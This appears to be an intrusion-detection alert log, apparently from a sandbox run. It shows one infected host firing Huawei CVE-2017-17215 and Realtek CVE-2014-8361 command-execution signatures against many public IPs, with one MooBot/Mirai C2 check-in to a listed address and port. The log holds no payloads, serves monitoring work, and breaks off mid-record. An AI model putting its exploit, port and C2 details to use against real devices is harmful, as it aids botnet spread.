ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.233.66.3

Timestamp:	07/20/24-23:01:14.504881
SID:	2027339
Source Port:	51378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.216.196

Timestamp:	07/20/24-23:01:27.306441
SID:	2835222
Source Port:	45128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.112.125.91

Timestamp:	07/20/24-23:00:59.022237
SID:	2835222
Source Port:	56484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.144.4

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	51000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 157.40.9.209

Timestamp:	07/20/24-23:01:06.177278
SID:	2025132
Source Port:	44022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.246.31

Timestamp:	07/20/24-23:01:02.615482
SID:	2829579
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.102.232.62

Timestamp:	07/20/24-23:01:18.995457
SID:	2027339
Source Port:	41456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.240.56

Timestamp:	07/20/24-23:01:12.494929
SID:	2835222
Source Port:	57004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 139.0.230.132

Timestamp:	07/20/24-23:01:14.533681
SID:	2831300
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.96.187.238

Timestamp:	07/20/24-23:01:02.612616
SID:	2829579
Source Port:	56802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.221.76

Timestamp:	07/20/24-23:01:22.737281
SID:	2835222
Source Port:	60564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.19.225.186

Timestamp:	07/20/24-23:00:59.019747
SID:	2829579
Source Port:	52992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.62.158.14

Timestamp:	07/20/24-23:01:04.907419
SID:	2829579
Source Port:	51860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 206.120.243.243

Timestamp:	07/20/24-23:01:27.354561
SID:	2027339
Source Port:	48116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 128.25.16.1

Timestamp:	07/20/24-23:01:07.526795
SID:	2025132
Source Port:	39666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.216.232.252

Timestamp:	07/20/24-23:01:14.999580
SID:	2829579
Source Port:	59478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.202.128.225

Timestamp:	07/20/24-23:01:22.737919
SID:	2835222
Source Port:	38954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 131.97.187.110

Timestamp:	07/20/24-23:01:36.781604
SID:	2829579
Source Port:	57978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.14.46.130

Timestamp:	07/20/24-23:01:22.739710
SID:	2835222
Source Port:	53906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.179.182.47

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	39052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 109.174.172.219

Timestamp:	07/20/24-23:00:59.019788
SID:	2835222
Source Port:	51784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.199.24

Timestamp:	07/20/24-23:01:12.358593
SID:	2835222
Source Port:	42094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.51.151

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 189.108.39.158

Timestamp:	07/20/24-23:01:19.916702
SID:	2027339
Source Port:	35378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.90.110

Timestamp:	07/20/24-23:01:36.792737
SID:	2829579
Source Port:	52886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.225.124.7

Timestamp:	07/20/24-23:01:07.511643
SID:	2027339
Source Port:	47530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 5.243.194.6

Timestamp:	07/20/24-23:01:19.911350
SID:	2027339
Source Port:	39010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:24.559055
SID:	2030490
Source Port:	33850
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.81.89.101

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	44146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.215.15

Timestamp:	07/20/24-23:01:15.072845
SID:	2829579
Source Port:	56224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.239.125.84

Timestamp:	07/20/24-23:01:04.892375
SID:	2829579
Source Port:	55018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 4.26.18.222

Timestamp:	07/20/24-23:01:04.437880
SID:	2025132
Source Port:	40114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.190.85

Timestamp:	07/20/24-23:00:59.020039
SID:	2835222
Source Port:	42210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.2.110.185

Timestamp:	07/20/24-23:01:22.746773
SID:	2829579
Source Port:	33538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 18.101.167.39

Timestamp:	07/20/24-23:01:05.780570
SID:	2027339
Source Port:	45790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.228.103

Timestamp:	07/20/24-23:01:04.861979
SID:	2829579
Source Port:	40372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 143.236.166.197

Timestamp:	07/20/24-23:01:14.503288
SID:	2831300
Source Port:	44494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.33.151.65

Timestamp:	07/20/24-23:01:06.274684
SID:	2027339
Source Port:	55104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 176.200.162.136

Timestamp:	07/20/24-23:01:27.361793
SID:	2831300
Source Port:	60376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.156.181

Timestamp:	07/20/24-23:01:36.850221
SID:	2835222
Source Port:	37712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.46.216.58

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.172.190.0

Timestamp:	07/20/24-23:01:27.354009
SID:	2027339
Source Port:	45928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.4.197

Timestamp:	07/20/24-23:00:59.021338
SID:	2835222
Source Port:	53836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.86.44.147

Timestamp:	07/20/24-23:01:08.391767
SID:	2829579
Source Port:	50078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 184.235.53.151

Timestamp:	07/20/24-23:01:14.566461
SID:	2027339
Source Port:	55530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.4.167.173

Timestamp:	07/20/24-23:01:14.998444
SID:	2829579
Source Port:	52720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.2.110

Timestamp:	07/20/24-23:01:14.997970
SID:	2829579
Source Port:	59724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 152.52.101.23

Timestamp:	07/20/24-23:01:19.575737
SID:	2025132
Source Port:	47502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.40.53.0

Timestamp:	07/20/24-23:01:25.389307
SID:	2829579
Source Port:	52132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.132.232.61

Timestamp:	07/20/24-23:01:27.285139
SID:	2829579
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.173.199.42

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	42624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.98.226.158

Timestamp:	07/20/24-23:01:08.449908
SID:	2835222
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 155.208.39.65

Timestamp:	07/20/24-23:01:22.791882
SID:	2835222
Source Port:	41854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 60.17.2.252

Timestamp:	07/20/24-23:01:07.464144
SID:	2027339
Source Port:	57432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 40.14.24.23

Timestamp:	07/20/24-23:01:14.547545
SID:	2831300
Source Port:	35620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.155.188.132

Timestamp:	07/20/24-23:01:12.492181
SID:	2835222
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.104.9

Timestamp:	07/20/24-23:01:12.533730
SID:	2829579
Source Port:	55850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.202.195

Timestamp:	07/20/24-23:01:22.739710
SID:	2829579
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 141.20.36.175

Timestamp:	07/20/24-23:01:27.361024
SID:	2831300
Source Port:	50098
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 31.56.91.186

Timestamp:	07/20/24-23:01:15.795654
SID:	2835222
Source Port:	34910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.137.132.163

Timestamp:	07/20/24-23:01:02.685656
SID:	2835222
Source Port:	59598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.40.195

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	50078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 119.150.77.161

Timestamp:	07/20/24-23:01:14.512354
SID:	2831300
Source Port:	34260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.240.43.254

Timestamp:	07/20/24-23:01:25.391285
SID:	2829579
Source Port:	36728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.246.127.53

Timestamp:	07/20/24-23:01:22.740154
SID:	2835222
Source Port:	59166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.183.155

Timestamp:	07/20/24-23:01:02.612616
SID:	2835222
Source Port:	34798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.27.108

Timestamp:	07/20/24-23:01:25.388995
SID:	2829579
Source Port:	45916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.43.182

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	56320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 197.89.201.126

Timestamp:	07/20/24-23:01:19.927498
SID:	2025132
Source Port:	51338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.79.222.119

Timestamp:	07/20/24-23:01:14.517250
SID:	2027339
Source Port:	45326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.86.178

Timestamp:	07/20/24-23:01:17.782283
SID:	2829579
Source Port:	42270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.172.216

Timestamp:	07/20/24-23:01:14.998077
SID:	2829579
Source Port:	44014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 25.216.97.59

Timestamp:	07/20/24-23:01:19.864881
SID:	2025132
Source Port:	35180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 75.142.64.164

Timestamp:	07/20/24-23:00:59.022895
SID:	2829579
Source Port:	47914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 131.78.91.211

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	47686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.11.160.84

Timestamp:	07/20/24-23:01:14.539913
SID:	2027339
Source Port:	58348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 71.97.252.40

Timestamp:	07/20/24-23:01:08.392907
SID:	2835222
Source Port:	45870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 77.190.202.82

Timestamp:	07/20/24-23:01:07.364110
SID:	2025132
Source Port:	39898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 188.225.197.111

Timestamp:	07/20/24-23:01:36.847780
SID:	2829579
Source Port:	40610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.239.128.88

Timestamp:	07/20/24-23:01:12.356534
SID:	2829579
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 211.159.248.236

Timestamp:	07/20/24-23:01:04.602660
SID:	2027339
Source Port:	50994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 98.189.122.151

Timestamp:	07/20/24-23:01:05.142625
SID:	2025132
Source Port:	34054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.250.169.127

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	47066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 115.52.50.250

Timestamp:	07/20/24-23:01:07.435626
SID:	2025132
Source Port:	57950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.193.127.127

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	34646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.177.153

Timestamp:	07/20/24-23:00:59.020786
SID:	2835222
Source Port:	58506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.160.41

Timestamp:	07/20/24-23:01:32.206638
SID:	2829579
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.224.176.148

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	45140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.72.120.35

Timestamp:	07/20/24-23:01:22.810316
SID:	2829579
Source Port:	39998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.15.187.56

Timestamp:	07/20/24-23:01:04.867862
SID:	2835222
Source Port:	51116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.254.95

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	51670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.139.95

Timestamp:	07/20/24-23:01:32.213464
SID:	2835222
Source Port:	50752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.103.24.251

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.220.93

Timestamp:	07/20/24-23:01:06.812906
SID:	2829579
Source Port:	38580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.52.158.215

Timestamp:	07/20/24-23:01:12.356928
SID:	2835222
Source Port:	46748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 67.52.151.110

Timestamp:	07/20/24-23:01:19.172936
SID:	2025132
Source Port:	49558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.209.75

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	40230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.248.171.89

Timestamp:	07/20/24-23:01:05.481947
SID:	2027339
Source Port:	55128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.91.186

Timestamp:	07/20/24-23:01:06.812618
SID:	2829579
Source Port:	58896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.99.232.103

Timestamp:	07/20/24-23:01:08.447448
SID:	2829579
Source Port:	47950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.222.199.50

Timestamp:	07/20/24-23:00:59.021890
SID:	2835222
Source Port:	42662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.251.103

Timestamp:	07/20/24-23:01:32.238260
SID:	2835222
Source Port:	42198
Destination Port:	37215
